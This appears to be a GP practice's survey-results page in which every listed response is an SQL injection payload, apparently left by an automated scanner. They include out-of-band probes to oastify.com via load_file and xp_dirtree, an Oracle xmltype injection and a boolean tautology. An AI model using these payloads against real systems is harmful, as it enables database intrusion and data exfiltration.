Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
(select load_file(‘\0wxd3jn6n4caaq89t32kuexan1t5hy7myomg9dx2.oastify.comteq’)) | [10] | [11] | July 4, 2023 at 6:13 am |
Very good’;declare @q varchar(99);set @q=’ppi2w8gvgt5z3f1ymsv9n3qzgqmuan0br2fu2rqg.oasti’+’fy.comrgi’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 6:13 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %lwebi;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 6:13 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %lwebi;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 6:13 am |
Very good89906477′ or ‘5915’=’5915 | [10] | [11] | July 4, 2023 at 6:13 am |
